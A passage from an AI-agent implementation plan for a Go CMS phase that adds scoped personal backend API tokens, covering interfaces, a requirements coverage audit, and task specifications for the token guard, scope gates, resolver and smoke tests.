| leading `*.manage` | exact `a.manage` | partial via the pattern |
|
||||
| leading `*.manage` | any wildcard pattern | none (conservative) |
|
||||
|
||||
Owner side: full match needs `ownerHas(required)`, partial match needs `ownerHas(pattern)`, where `ownerHas(x) = IsSuperuser || granted(PermissionGrants, x)`.
|
||||
- **Overlap rule (D-17):** a plugin scope is offered to (and accepted for) a user when some registered catalog code `c` has a full match in the scope and `ownerHas(c)`. `*` is always offered. `admin:read` is offered when the user is a superuser or holds at least one catalog code (RESEARCH A6).
|
||||
- **Names (discretion):** `pact.TokenScope`, `pact.HasTokenScopes`; `bouncer.ScopeLimit{Full bool; Scopes [][]string}` and `bouncer.Principal.Scope`; `party.Activated`; `cabana.BackendAPIToken`, `cabana.APITokenPrefix`, `cabana.ResolveBackend`, `cabana.ErrUnauthenticated`, `cabana.ErrTokenScope`; table `backend_api_tokens`; route wrapper `interactiveOnly`; framework scope names `*` and `admin:read` (unexported constants).
|
||||
- **Storage (discretion):** `scopes` is TEXT holding a JSON array (`lagoon.Jsonable[[]string]`), as the user plugin's token table does. An unknown stored name grants nothing and is listed with `known: false`; a token whose stored scopes are all unknown answers 401 (RESEARCH A4).
|
||||
- **403 reporting (discretion):** the guard's method refusal and the explicit route gates answer `forbidden` with `details.reason = "token_scope"`; the interactive-only marker answers `forbidden` with `details.reason = "interactive_only"`. Allows-based 403s inside handlers keep today's body (no per-handler change, D-14).
|
||||
- **Methods must include GET (planner rule for D-05):** every registered scope can then identify itself through `GET /auth/me`, so "always allowed to any valid token" holds without a route exception in the guard.
|
||||
- **Throttle (discretion):** no new throttle bucket. The format check runs before the indexed lookup, a 160-bit secret cannot be guessed, and the admin API has no per-route throttle today (threat T-16.3-10, accepted).
|
||||
- **Debounce (discretion):** in-process `sync.Map` gate plus `UPDATE … SET last_used_at = ? WHERE id = ? AND (last_used_at IS NULL OR last_used_at < ?)`.
|
||||
- **Create contract (RESEARCH open question 3, user-confirmed defaults):** 201; `["*", …]` normalizes to `["*"]`; duplicates removed in order; name trimmed, 1 to 100 runes; `expires` one of `30d`, `90d`, `365d`, `never`, default `90d` when absent.
|
||||
- **Resolver is Bearer-only (new finding while planning):** the Journal write routes have no CSRF check because they are Bearer-only today; a resolver that also read the `summer_admin` cookie would let a cross-site form drive them. `ResolveBackend` therefore wraps a second, cookie-less `NewBackendJWTGuard`.
|
||||
- **CLI plugin access (user-confirmed Option A):** `party.Activate` publishes `party.Activated`; the token commands look it up at Run time; `cabana.RuntimeCommands(app)` keeps its signature; host apps only bump versions.
|
||||
- **Reserved vendor segment (RESEARCH Pitfall 10):** `account` joins `api`, `assets`, `login`, `settings`.
|
||||
- **OpenAPI regeneration lands here, not in plan 02:** `TestPhase09ContractInventory` reads the committed `admin/openapi/admin.json`, so the routes and the regenerated document must ship in the same change to keep `go test ./...` green; plan 02 consumes the regenerated `schema.d.ts`.
|
||||
- **Docs example:** scope registration is shown from compiled code, `docs/examples/blog/token_scopes.go` (scopes `blog` and `blog:read`), included by a `src=` fence (RESEARCH Pitfall 12); `plugin.go` is not touched, so the whole-file snippet in `docs/setup/porting-a-plugin.md` stays in sync.
|
||||
|
||||
## Interfaces (exact shapes executors build and later plans consume)
|
||||
|
||||
- `pact.TokenScope{Name, Label, Description string; Permissions, Methods []string}`; `pact.HasTokenScopes{ TokenScopes() []pact.TokenScope }`.
|
||||
- `bouncer.ScopeLimit{Full bool; Scopes [][]string}`; `bouncer.Principal` gains `Scope *ScopeLimit` tagged `json:"-"` (nil means unrestricted: a JWT session).
|
||||
- `party.Activated` is a named `[]party.Plugin` published by `party.Activate` in activation order; read with `app.Lookup[party.Activated]()`.
|
||||
- `cabana.APITokenPrefix = "g15_"`; `cabana.BackendAPIToken` (columns id, backend_user_id, name, token_hash `json:"-"`, token_hint, scopes, expires_at, last_used_at, revoked_at, revoked_by, created_at, updated_at; `TableName()` is `backend_api_tokens`).
|
||||
- `cabana.ResolveBackend(app *backpack.App, r *http.Request, cover ...string) (*http.Request, *bouncer.Principal, error)`; sentinel errors `cabana.ErrUnauthenticated`, `cabana.ErrTokenScope` (the internal scope error wraps `ErrTokenScope`, so `errors.Is` works).
|
||||
- Admin API (under `{backend.uri}/api/v1`, backend guard, all interactive-only, writes also `requireAjax`):
|
||||
- `GET /account/tokens[?revoked=1]` → 200 `Envelope[[]AdminAPIToken]`
|
||||
- `POST /account/tokens` body `AdminAPITokenRequest{name, expires, scopes}` → 201 `Envelope[AdminAPITokenCreated]`, 422 details keyed `name`, `expires`, `scopes`
|
||||
- `DELETE /account/tokens/{id}` → 200 `Envelope[AdminAPIToken]`, 404 `not_found`
|
||||
- `GET /account/tokens/scopes` → 200 `Envelope[[]AdminAPITokenScope]`
|
||||
- JSON: `AdminAPITokenScope{name, label, description, read_only, known}`; `AdminAPIToken{id, name, hint (last four characters), scopes []AdminAPITokenScope, created_at, last_used_at|null, expires_at|null, revoked_at|null, expired}`; `AdminAPITokenCreated` = every `AdminAPIToken` field plus `token`.
|
||||
- swag stubs: `AdminAccountTokens`, `AdminAccountTokenCreate`, `AdminAccountTokenRevoke`, `AdminAccountTokenScopes`.
|
||||
- Server-side phrase keys (backend::lang.api_tokens.*): `scope_all`, `scope_all_description`, `scope_admin_read`, `scope_admin_read_description`, `name_required`, `name_too_long`, `expires_invalid`, `scopes_required`, `scope_unavailable` (UI-SPEC copy for the six it names; `name_too_long` "The name may have at most 100 characters." / "Nazwa może mieć najwyżej 100 znaków."; `expires_invalid` "Choose a valid expiry." / "Wybierz poprawny termin ważności."). Plan 02 adds the SPA-only keys to the same block.
|
||||
- CLI: `admin:token:create <identifier> --name <text> --scope <name> [--scope …] [--expires 30d|90d|365d|never|YYYY-MM-DD]` (a date means 00:00 UTC on that day and must be in the future); `admin:token:list [<identifier>] [--revoked]`; `admin:token:revoke <id>`; `admin:token:scopes`.
|
||||
|
||||
## Plan sizing note
|
||||
|
||||
The user locked four plans and put the whole framework side here, with its READMEs and docs in the same change (CLAUDE.md). Four tasks: a tracer, then three expansions. After revision 1 the estimate is 170k tokens against `workflow.smart_zone_tokens` 100k (about 1.7x; confidence low, uncalibrated, since no completed phase carries actuals). The checker treats this as a warning, never a blocker.
|
||||
|
||||
Load reductions (revision 1):
|
||||
- The context block no longer loads 16.3-RESEARCH.md and 16.3-UI-SPEC.md whole (about 26k tokens together by chars/4). Each task's read_first names the sections it needs, with line ranges, about 12k of reads in total.
|
||||
- **Seam after Task 2.** Tasks 1-2 are the framework core: scope capability, principal limit, Allows, table, composite guard, gates, resolver and stamp. Tasks 3-4 build the surfaces on top: account API and OpenAPI, CLI, READMEs and docs. Tasks 3 and 4 use Tasks 1-2 only through committed code and the Interfaces section above. Commit Task 2 before starting Task 3. At the start of Task 3, do not re-read the Task 1-2 files whole: list their as-built signatures with `grep -n "^func \|^type \|^var \|^const " modules/cabana/api_tokens.go modules/cabana/token_scopes.go modules/cabana/token_guard.go`, then read only the function bodies Task 3 or 4 changes (`issueAPIToken`, the catalog helpers). Record any name that differs from the Interfaces section for the SUMMARY.
|
||||
|
||||
Residual risk, accepted by the user on 2026-10-11 at the plan-phase revision checkpoint (keep four plans, no mid-plan checkpoint):
|
||||
- One executor context still carries all four tasks. The executor and execute-phase honor only one kind of mid-plan context reset, a checkpoint task. Here that would raise this plan to five tasks, which is the plan checker's blocker threshold. Under this project's config (`human_verify_mode` end-of-phase, `auto_advance` false) it would also stop for a human mid-plan. Moving the docs, the CLI or the API out of this plan would break the user's plan lock and the CLAUDE.md same-change rule.
|
||||
- Failure mode: quality degrades late, in Task 4 (READMEs and docs pages, 21 files), or the run is interrupted after Task 2's commits.
|
||||
- Mitigations:
|
||||
- Tracer-first ordering puts the security-critical core (Tasks 1-2) in the early context.
|
||||
- Every task commits atomically and has its own verify.
|
||||
- Task 4's checks are mechanical and catch an unknown identifier, command name or stale snippet: TestDocsTree, docs:build --check and TestDelegateCommandsHelp.
|
||||
- Plan 03 Task 2 re-checks that every exported identifier this phase added is named in its module README.
|
||||
- An interrupted run lands in execute-phase's safe_resume_gate (commits present, SUMMARY missing), which stops and offers a manual close-out instead of re-dispatching blindly.
|
||||
|
||||
## Source coverage audit (phase-wide)
|
||||
|
||||
| Source | ID | Item | Plan | Status |
|
||||
|---|---|---|---|---|
|
||||
| GOAL | — | Scoped personal tokens, owner ∩ scope, admin and plugin APIs | 01, 02, 03 | COVERED |
|
||||
| ROADMAP | SC-1 | backend guard accepts g15_ tokens and the JWT | 01 | COVERED |
|
||||
| ROADMAP | SC-2 | out-of-scope refused; never beyond owner | 01 (+03 Journal) | COVERED |
|
||||
| ROADMAP | SC-3 | SPA create/list/revoke, show once; CLI for any user | 01 (API, CLI), 02 (SPA) | COVERED |
|
||||
| ROADMAP | SC-4 | Journal accepts a Journal-scoped token for writes | 03 | COVERED |
|
||||
| ROADMAP | SC-5 | READMEs and docs cover token API, scopes, CLI | 01 (framework), 02 (My account), 03 (Journal) | COVERED |
|
||||
| ROADMAP | SC-6 | unit tests in the last plan | 04 | COVERED |
|
||||
| CONTEXT | D-01 | pact capability, fail-loud boot | 01 | COVERED |
|
||||
| CONTEXT | D-02 | read scopes GET/HEAD, 403 before handler | 01 | COVERED |
|
||||
| CONTEXT | D-03 | several scopes, any one passes, immutable | 01 | COVERED |
|
||||
| CONTEXT | D-04 | `*`, `admin:read`; Journal `journal`, `journal:read` | 01, 03 | COVERED |
|
||||
| CONTEXT | D-05 | deny by default; /auth/me always | 01 | COVERED |
|
||||
| CONTEXT | D-06 | interactive-only marker | 01 | COVERED |
|
||||
| CONTEXT | D-07 | g15_ + 40 hex, sha256, hint | 01 | COVERED |
|
||||
| CONTEXT | D-08 | expiry 30/90/365/never, default 90, CLI date | 01, 02 | COVERED |
|
||||
| CONTEXT | D-09 | soft revoke, hidden by default, no edits | 01, 02 | COVERED |
|
||||
| CONTEXT | D-10 | owner loaded fresh; reset does not invalidate | 01 | COVERED |
|
||||
| CONTEXT | D-11 | last_used debounce; list columns | 01, 02 | COVERED |
|
||||
| CONTEXT | D-12 | framework table in BackendAdminMigrations | 01 | COVERED |
|
||||
| CONTEXT | D-13 | composite guard, Bearer only, credential | 01 | COVERED |
|
||||
| CONTEXT | D-14 | scope in principal, Allows intersection | 01 | COVERED |
|
||||
| CONTEXT | D-15 | resolver; Journal switch; byte-identical bodies | 01, 03 | COVERED |
|
||||
| CONTEXT | D-16 | SPA panel, own tokens, show once | 02 | COVERED |
|
||||
| CONTEXT | D-17 | picker overlap rule, server 422 | 01, 02 | COVERED |
|
||||
| CONTEXT | D-18 | account endpoints, envelope, swag, interactive-only | 01 | COVERED |
|
||||
| CONTEXT | D-19 | admin:token:* CLI | 01 | COVERED |
|
||||
| CONTEXT | D-20 | READMEs and docs | 01, 02, 03 | COVERED |
|
||||
| RESEARCH | Pitfall 1 | superuser shortcut | 01 | COVERED |
|
||||
| RESEARCH | Pitfall 2 | non-Allows routes gated | 01 | COVERED |
|
||||
| RESEARCH | Pitfall 3 | ownership branches (Journal) | 03 | COVERED |
|
||||
| RESEARCH | Pitfall 4 | nil *cabana.Registry in Journal | 01, 03 | COVERED |
|
||||
| RESEARCH | Pitfall 5 | migration test pins last ID | 01 | COVERED |
|
||||
| RESEARCH | Pitfalls 6, 7 | CLI scope access, stdout purity | 01 | COVERED |
|
||||
| RESEARCH | Pitfall 8 | 201 documented | 01 | COVERED |
|
||||
| RESEARCH | Pitfall 9 | labels translated server-side | 01 | COVERED |
|
||||
| RESEARCH | Pitfall 10 | reserved `account` segment | 01 | COVERED |
|
||||
| RESEARCH | Pitfall 11 | Journal throttle keyed by IP (documented, unchanged) | 03 | COVERED |
|
||||
| RESEARCH | Pitfall 12 | docs snippets from compiled code | 01 | COVERED |
|
||||
| RESEARCH | Open Q2 | featured-image parity checked against frozen PHP | 03 | COVERED |
|
||||
| RESEARCH | Open Q5 | framework tag, Journal go.mod, host bumps | 03 | COVERED |
|
||||
|
||||
Deferred (not gaps): backend-user management screen and superuser token view, `payment:read`, Fonoteka scopes, checksum token format.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- pact: `TokenScope`, `HasTokenScopes`.
|
||||
- bouncer: `ScopeLimit`, `Principal.Scope`.
|
||||
- party: `Activated` (published by `Activate`).
|
||||
- lagoon: migration `202610110001_backend_api_tokens` (table `backend_api_tokens`) in `BackendAdminMigrations`.
|
||||
- cabana exported: `BackendAPIToken`, `APITokenPrefix`, `ResolveBackend`, `ErrUnauthenticated`, `ErrTokenScope`; OpenAPI types `AdminAPIToken`, `AdminAPITokenScope`, `AdminAPITokenCreated`, `AdminAPITokenRequest`; swag stubs `AdminAccountTokens`, `AdminAccountTokenCreate`, `AdminAccountTokenRevoke`, `AdminAccountTokenScopes`.
|
||||
- cabana internal: `mintAPIToken`, `hashAPIToken`, `wellFormedAPIToken`, `tokenStore` (interface) and `gormTokenStore`, `compositeGuard` and `newCompositeGuard`, `scopeError`, `tokenScopeCatalog`, `compileTokenScopes`, `compileTokenCatalog`, `scopeMatch`, `allowsUnderScope`, `scopeCoversAll`, `scopeOverlaps`, `validateTokenRequest`, `issueAPIToken`, `parseTokenExpiry`, `revokeAPIToken`, `stampLastUsed`, `interactiveOnly`, `tokenRouteGate`, `backendResolver`; handlers `accountTokensList`, `accountTokenCreate`, `accountTokenRevoke`, `accountTokenScopes`; CLI funcs `adminTokenCreate`, `adminTokenList`, `adminTokenRevoke`, `adminTokenScopes`.
|
||||
- Routes: `GET`/`POST /account/tokens`, `DELETE /account/tokens/{id}`, `GET /account/tokens/scopes`.
|
||||
- CLI commands: `admin:token:create`, `admin:token:list`, `admin:token:revoke`, `admin:token:scopes` (app binary) and their `summer` delegates.
|
||||
- Phrase keys `backend::lang.api_tokens.{scope_all, scope_all_description, scope_admin_read, scope_admin_read_description, name_required, name_too_long, expires_invalid, scopes_required, scope_unavailable}` (en, pl).
|
||||
- Smoke tests: `TestTokenTracerSmoke`, `TestTokenGatesSmoke` (Docker-free); `TestTokenTracerPostgres`, `TestAccountTokensSmoke`, `TestTokenCommandsSmoke` (Docker host); `TestActivatePublishesPlugins` (party).
|
||||
- Docs: `docs/examples/blog/token_scopes.go` (`blog`, `blog:read`), new sections in the five docs pages, README updates in five modules.
|
||||
|
||||
<objective>
|
||||
Build the framework side of personal API tokens with scopes (D-01 to D-15, D-17 to D-20 server half): scope registration, the scope-limited principal and Allows, the token table and composite guard, interactive-only and route gates, the published resolver, the account token API with OpenAPI, the CLI, and the docs.
|
||||
|
||||
Purpose: every backend-authenticated request can run as a token's owner, limited by the token's scopes, and plugins (plan 03) and the SPA (plan 02) build on these exact names.
|
||||
Output: the files above, regenerated admin OpenAPI and TS types, smoke tests, updated READMEs and docs pages.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-CONTEXT.md
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-PATTERNS.md
|
||||
|
||||
16.3-RESEARCH.md and 16.3-UI-SPEC.md are not loaded whole (context budget, see Plan sizing note): each task's read_first names the sections it needs with line ranges; read only those ranges.
|
||||
|
||||
Docker: the cabana auth, account, command and conformance suites, the lagoon migration suites and the Journal admin harness use testcontainers Postgres. When `docker info` fails, run the Docker-free verify lines, record every Postgres verify line as NOT RUN in the SUMMARY (they fail rather than skip by design), and plan 03's release gate lists them (16.2 pattern). Another session may edit `modules/` concurrently: stage files by explicit path and check `git status` before each commit. Commits: no co-author tags, one logical change per commit, code and planning docs in separate commits.
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: a g15_ token with a plugin scope reaches an admin controller as its owner, and an out-of-scope controller refuses it</name>
|
||||
<reversibility rating="costly">D-07 (rated one-way in CONTEXT, format fixed by the human) becomes irreversible only when issued tokens reach agent configs after the release; that door is gated by the 16.3-03 release checkpoint, which carries the one-way rating. Until then a format change is a code edit across this phase.</reversibility>
|
||||
<files>modules/pact/capabilities.go, modules/bouncer/context.go, modules/lagoon/backend_admin_migrations.go, modules/lagoon/backend_admin_migrations_test.go, modules/cabana/api_tokens.go, modules/cabana/token_scopes.go, modules/cabana/token_guard.go, modules/cabana/contracts.go, modules/cabana/registry.go, modules/cabana/messages.go, modules/cabana/http.go, modules/cabana/export_test.go, modules/cabana/token_smoke_test.go, modules/cabana/token_postgres_smoke_test.go</files>
|
||||
<read_first>modules/pact/capabilities.go (Permission and HasPermissions, ~:495-506), modules/bouncer/context.go, modules/bouncer/guard.go, modules/bouncer/registry.go (Middleware :73-113), modules/bouncer/jwt.go (NewBackendJWTGuard :94, Authenticate :106, extractToken :273), modules/cabana/http.go (Activate :73-185, lazyBackendUsers, writeUnauthenticated), modules/cabana/auth.go (BackendUsers.FindByID :40-69, principalFrom, logAuth :374), modules/cabana/contracts.go (Allows :186, granted :203-235, BackendUser), modules/cabana/registry.go (compileContributions :168-288, permissionCode, validatePermissions, permissionExists, rolePermissions), modules/cabana/messages.go (validateMessageKeys :300-330), modules/lagoon/backend_admin_migrations.go, modules/lagoon/backend_admin_migrations_test.go (:516-600, rollbackBackendAdmin :443-452), modules/lagoon/jsonable.go, modules/wristband/crypto.go (:26-31), modules/cabana/export_test.go, modules/cabana/auth_test.go (adminGorm :321, adminHandler :367, insertAdmin, demoPlugin :433-470), ../sm-summercmsio-app/plugins/golem15/user/middleware/api_token.go, ../sm-summercmsio-app/plugins/golem15/user/classes/api_tokens.go, 16.3-RESEARCH.md Patterns 1, 2 and 6 (:216-316, :381-415), Pitfalls 1 and 5 (:460-464, :479-483) and the Code Examples (:505-589: mint and hash, debounced last_used_at, migration entry)</read_first>
|
||||
<action>Wire one path through every layer: pact registration → boot compile → migration → token row → composite guard → scope-limited principal → Allows → handler.
|
||||
|
||||
pact (per D-01): add `TokenScope` (Name, Label, Description, Permissions, Methods) and `HasTokenScopes` next to `Permission`/`HasPermissions`, with one-line doc comments in the same style; Label and Description are phrase keys or literal text.
|
||||
|
||||
bouncer (per D-14): add `ScopeLimit` (`Full bool`, `Scopes [][]string`) and the `Scope *ScopeLimit` field on `Principal` tagged `json:"-"`; document that nil means unrestricted and that only a token guard sets it, already filtered by request method. Nothing else in bouncer changes.
|
||||
|
||||
lagoon (per D-12): append migration `202610110001_backend_api_tokens` to `BackendAdminMigrations` with the DDL from RESEARCH "Migration entry" (CREATE TABLE IF NOT EXISTS, BIGSERIAL id, `backend_user_id INTEGER NOT NULL REFERENCES backend_users(id) ON DELETE CASCADE`, `token_hash CHAR(64) NOT NULL UNIQUE`, `token_hint TEXT NOT NULL`, `scopes TEXT NOT NULL`, nullable expires_at/last_used_at/revoked_at TIMESTAMPTZ, `revoked_by INTEGER REFERENCES backend_users(id) ON DELETE SET NULL`, created_at/updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), plus an index on backend_user_id; rollback drops the table). Extend the doc comment above `BackendAdminMigrations`. In the same commit fix `TestBackendAdminMetadataColumn` (RESEARCH Pitfall 5): assert the history ends with `202610110001_backend_api_tokens` and contains the metadata ID, and roll back both newest entries before checking that the metadata column is gone; add backend_api_tokens to the table list `TestPhase09MigrationsFreshRollback` checks after a full rollback.
|
||||
|
||||
cabana model and crypto (api_tokens.go, per D-07): `APITokenPrefix`, `BackendAPIToken` (gorm tags as the user plugin's model, `Scopes lagoon.Jsonable[[]string]`, `TokenHash` tagged `json:"-"`), `mintAPIToken` (20 bytes from crypto/rand, lowercase hex, sha256 hex, last four characters as hint), `hashAPIToken`, `wellFormedAPIToken` (exactly g15_ plus 40 of 0-9a-f), and a minimal internal `issueAPIToken` that inserts a row for an owner with given scopes and expiry and returns the plaintext once (Task 3 adds name/expiry/overlap validation to this same function). Add a test-only exporter in export_test.go (for example `IssueTestAPIToken`) so external Postgres tests can mint a token before the HTTP API exists.
|
||||
|
||||
cabana scopes (token_scopes.go, per D-01, D-03, D-04, D-05, D-14): `tokenScopeCatalog` holding the ordered compiled scopes (framework `*`: every method, full; `admin:read`: GET and HEAD, full; then plugin scopes in plugin activation order) and a by-name map; `compileTokenScopes(reg, plugins)` called in Activate right after `compileContributions`, storing the catalog on the Registry, failing boot with `cabana: …` errors for every rule in the D-01 truth above (name pattern `^[a-z][a-z0-9_-]*(:[a-z][a-z0-9_-]*)?$`, reserved `*`/`admin`/`admin:…`, duplicates naming both plugin IDs, empty lists, methods limited to GET, HEAD, POST, PUT, PATCH, DELETE in upper case and required to contain GET, permissions via `permissionCode(code, true)` and `reg.permissionExists`, non-empty label and description). Extend `validateMessageKeys` (or add a sibling called at the same place in Activate) so a label or description containing `::` must resolve in the published translator. Write `scopeMatch` exactly per the match table in this plan and `allowsUnderScope(p, required)` per the D-03 literal reading: empty list false; otherwise true when some slice in p.Scope.Scopes matches every required code (full or partial) and some required code is owner-held inside it (full match: ownerHas(code); partial: ownerHas(pattern)). Do not reuse `granted()` for the scope side.
|
||||
|
||||
Allows (contracts.go, per D-14 and D-05, RESEARCH Pitfall 1): when `principal.Scope != nil && !principal.Scope.Full`, return `allowsUnderScope` before the IsSuperuser and empty-list shortcuts; the full and nil paths keep today's code byte for byte. Update the doc comment.
|
||||
|
||||
Composite guard (token_guard.go, per D-13, D-02, D-08 to D-10): `compositeGuard` implements `bouncer.CredentialGuard` and `bouncer.UnauthorizedWriter` (compile-time assertions as in the user plugin's guard). It reads the Authorization header; only a `Bearer ` value starting with `APITokenPrefix` takes the token branch, every other request returns the wrapped JWT guard's `Authenticate` result unchanged. Token branch: refuse a value that is not well formed before touching the database; look the hash up through a small internal `tokenStore` interface (production `gormTokenStore` over the app's `*gorm.DB`: `revoked_at IS NULL AND (expires_at IS NULL OR expires_at > now)`), compare the fetched hash with `crypto/subtle.ConstantTimeCompare`; load the owner through the same `bouncer.UserProvider` the JWT guard uses (`lazyBackendUsers{app, reg}`; nil principal → 401; tokens_valid_after is not consulted); method-filter the stored scopes through the catalog (unknown names ignored; no known scope → 401; known scopes but none allowing r.Method → a `scopeError` wrapping `ErrTokenScope`); set `principal.Scope` (Full when any allowed scope is full, else one pattern slice per allowed scope); return the token row as the credential. `WriteUnauthorized` answers 403 `forbidden` with `details.reason` token_scope for a `scopeError` and `writeUnauthenticated` (401) for anything else; say in a comment that this writer also answers 403. Log failures as `admin.auth` events with outcome and admin_id/token_id when known, never the header, plaintext or hash. Declare `ErrUnauthenticated` and `ErrTokenScope` here.
|
||||
|
||||
Activate (http.go): build the existing JWT guard unchanged, wrap it with `newCompositeGuard(jwtGuard, store, users, reg)` and register the composite under `backend` (owner check unchanged).
|
||||
|
||||
Tests (smoke only; full coverage is plan 04): `TestTokenTracerSmoke` (package cabana, Docker-free): a catalog with scopes `demo` (acme.demo.*, every method) and `demo:reports` (acme.demo.reports, GET and HEAD), an in-memory `tokenStore`, a stub `UserProvider` returning a developer principal granted acme.demo.access and acme.demo.reports, the composite guard registered in a `bouncer.Registry` and its middleware around a handler that answers 200 when `Allows(principal, ["acme.demo.access"])` and 403 otherwise: a `demo` token GET → 200; a `demo:reports` token GET → 403 (out of scope although the grants allow it); the same token POST → 403 with reason token_scope; a superuser principal with `demo:reports` → 403; a malformed `g15_x` → 401; a Bearer JWT string goes to the stub JWT guard untouched. `TestTokenTracerPostgres` (cabana_test, Docker host): the adminHandler harness with a test plugin that adds permission acme.demo.reports (developer role) and the two scopes; mint through the test exporter for a developer admin; GET the widgets list with a `demo` token → 200, with a `demo:reports` token → 403, POST with `demo:reports` → 403 token_scope; then soft-delete the admin and the `demo` token → 401.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/pact ./modules/bouncer ./modules/lagoon ./modules/cabana && go test -count=1 -run '^(TestTokenTracerSmoke|TestPhase09PermissionMatrix|TestPhase09ContractInventory|TestPhase10ConformanceInventory)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
|
||||
<fails_when>Non-zero exit: vet fails in one of the four packages, or fewer than four "--- PASS: Test" lines (the tracer smoke failed, or the existing route inventories broke).</fails_when>
|
||||
<automated>docker info >/dev/null 2>&1 && go test -count=1 -run '^TestTokenTracerPostgres$' -v ./modules/cabana 2>&1 | grep -- '^--- PASS: TestTokenTracerPostgres' && go test -count=1 -run '^(TestBackendAdminMetadataColumn|TestPhase09MigrationsFreshRollback)$' -v ./modules/lagoon 2>&1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN in the SUMMARY), no "--- PASS: TestTokenTracerPostgres" line, or fewer than two passing lagoon migration tests (the migration or the updated last-ID test is wrong).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "HasTokenScopes interface" modules/pact/capabilities.go` and `grep -n "Scope \*ScopeLimit" modules/bouncer/context.go` each print one line.
|
||||
- `grep -c "202610110001_backend_api_tokens" modules/lagoon/backend_admin_migrations.go modules/lagoon/backend_admin_migrations_test.go` reports at least 1 for each file.
|
||||
- `grep -n "allowsUnderScope" modules/cabana/contracts.go` prints a line that comes before the line containing `principal.IsSuperuser || len(required) == 0` (scope first).
|
||||
- `grep -n "ConstantTimeCompare" modules/cabana/token_guard.go modules/cabana/api_tokens.go` prints at least one line.
|
||||
- The Docker-free verify passes; the Postgres verify passes on a Docker host or is recorded NOT RUN.
|
||||
</acceptance_criteria>
|
||||
<done>A g15_ token minted for a backend user authenticates through the composite backend guard, runs as its owner and is limited by its method-filtered scopes in Allows, with the JWT path unchanged.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 2: Deny by default outside Allows: interactive-only marker, explicit route gates, the published ResolveBackend, and the debounced last_used_at stamp</name>
|
||||
<reversibility rating="costly">D-13/D-14: every backend-authenticated route now passes through the composite guard and scope rules; undoing it touches every route classification.</reversibility>
|
||||
<files>modules/cabana/token_guard.go, modules/cabana/api_tokens.go, modules/cabana/http.go, modules/cabana/auth.go, modules/cabana/field_type.go, modules/cabana/field_markdown.go, modules/cabana/registry.go, modules/cabana/token_smoke_test.go</files>
|
||||
<read_first>modules/cabana/token_guard.go and modules/cabana/api_tokens.go (Task 1), modules/cabana/http.go (mount :222-345, Activate guard block), modules/cabana/csrf.go (requireAjax, csrfSafe), modules/cabana/auth.go (refresh :255, logout :295, sessionToken :323, me :338, bearerToken :362, adminBlacklist :395), modules/cabana/field_type.go (fieldTypesList :864), modules/cabana/field_markdown.go (markdownPreview :71), modules/cabana/registry.go (reservedVendorSegments :44, checkReservedSegments), modules/cabana/contracts.go (WriteErrorDetails), ../sm-journal-plugin/controllers/api/auth.go (the current Bearer-only guard the resolver replaces in plan 03), 16.3-RESEARCH.md Patterns 3 and 4 (:317-363), Pitfalls 2, 3, 4 and 10 (:465-478, :496-498), "Debounced last_used_at" (:535-553) and assumption A3 (:603)</read_first>
|
||||
<action>Make D-05 and D-06 hold on routes that never call Allows, and publish the D-15 resolver.
|
||||
|
||||
Interactive-only (per D-06): `interactiveOnly(next)` answers 403 `forbidden` with `details.reason` interactive_only when the request credential is a `*BackendAPIToken`, or when the raw Authorization Bearer value starts with `APITokenPrefix` (the routes outside the guard). In mount wrap PUT /account, POST and DELETE /account/avatar (outside requireAjax, so the refusal comes first) and POST /auth/refresh and POST /auth/logout, so a g15_ Bearer never reaches refresh or logout (no cookie expiry, no blacklist write). Task 3 wraps the four token routes the same way. GET /auth/me stays unwrapped (D-05).
|
||||
|
||||
Route gates (per D-05, RESEARCH Pitfall 2 and assumption A3): `tokenRouteGate` refuses a principal whose Scope is non-nil and not Full with 403 `forbidden`, reason token_scope (the same answer as `Allows(principal, nil)` refusing); call it at the top of `fieldTypesList` and `markdownPreview` after the principal check. `/navigation` and `/settings` already filter every item through Allows and stay as they are.
|
||||
|
||||
Reserved segment (RESEARCH Pitfall 10): add `account` to `reservedVendorSegments` and to the boot error's reserved list text.
|
||||
|
||||
Resolver (per D-15, RESEARCH Pattern 3 and Pitfall 4): in Activate, after the backend guard is registered, build a second composite guard around a cookie-less `NewBackendJWTGuard(secret, users, bl, nil)` (same users, same blacklist, same registry and catalog) and publish it as `*backendResolver` with `app.Publish`, keeping an already-published one when Activate runs twice on one app (as the guard registration does). `ResolveBackend(app, r, cover...)`: no app, no published resolver or no Bearer value → `ErrUnauthenticated`; otherwise authenticate through the resolver's guard; a scope error → `ErrTokenScope`; any other failure → `ErrUnauthenticated`; for a token principal that is not Full, require `scopeCoversAll(principal.Scope, cover)` (some scope slice matches every cover code, full or partial) or return `ErrTokenScope`; on success return the request carrying `bouncer.WithUser` and, for a token, `bouncer.WithCredential`. The resolver never reads the admin cookie (Journal's write routes have no CSRF check). Document in the doc comment that routes registered before Activate must call it per request.
|
||||
|
||||
last_used_at (per D-11): `stampLastUsed` as in RESEARCH "Debounced last_used_at" (process-wide sync.Map keyed by token id, one-minute window, UPDATE of last_used_at only with the conditional WHERE), called by the composite guard after a successful token authentication on both the guard and resolver paths; an error is logged with `slog.Default().WarnContext` and token_id and never fails the request.
|
||||
|
||||
Smoke test `TestTokenGatesSmoke` (Docker-free, package cabana): with the Task 1 in-memory store and stub users, assert a `*` token gets 403 interactive_only from the wrapped PUT /account handler and from the refresh handler given a raw g15_ Bearer; a `demo` token gets 403 token_scope from fieldTypesList; an `admin:read` GET passes fieldTypesList; ResolveBackend on an app with a published resolver returns ErrTokenScope for a `demo:reports` POST and for cover acme.other.* , ErrUnauthenticated for no Bearer and for a malformed token, and a principal carrying the credential for a `demo` GET with cover acme.demo.*; two authentications within a minute call the store's stamp once.</action>
|
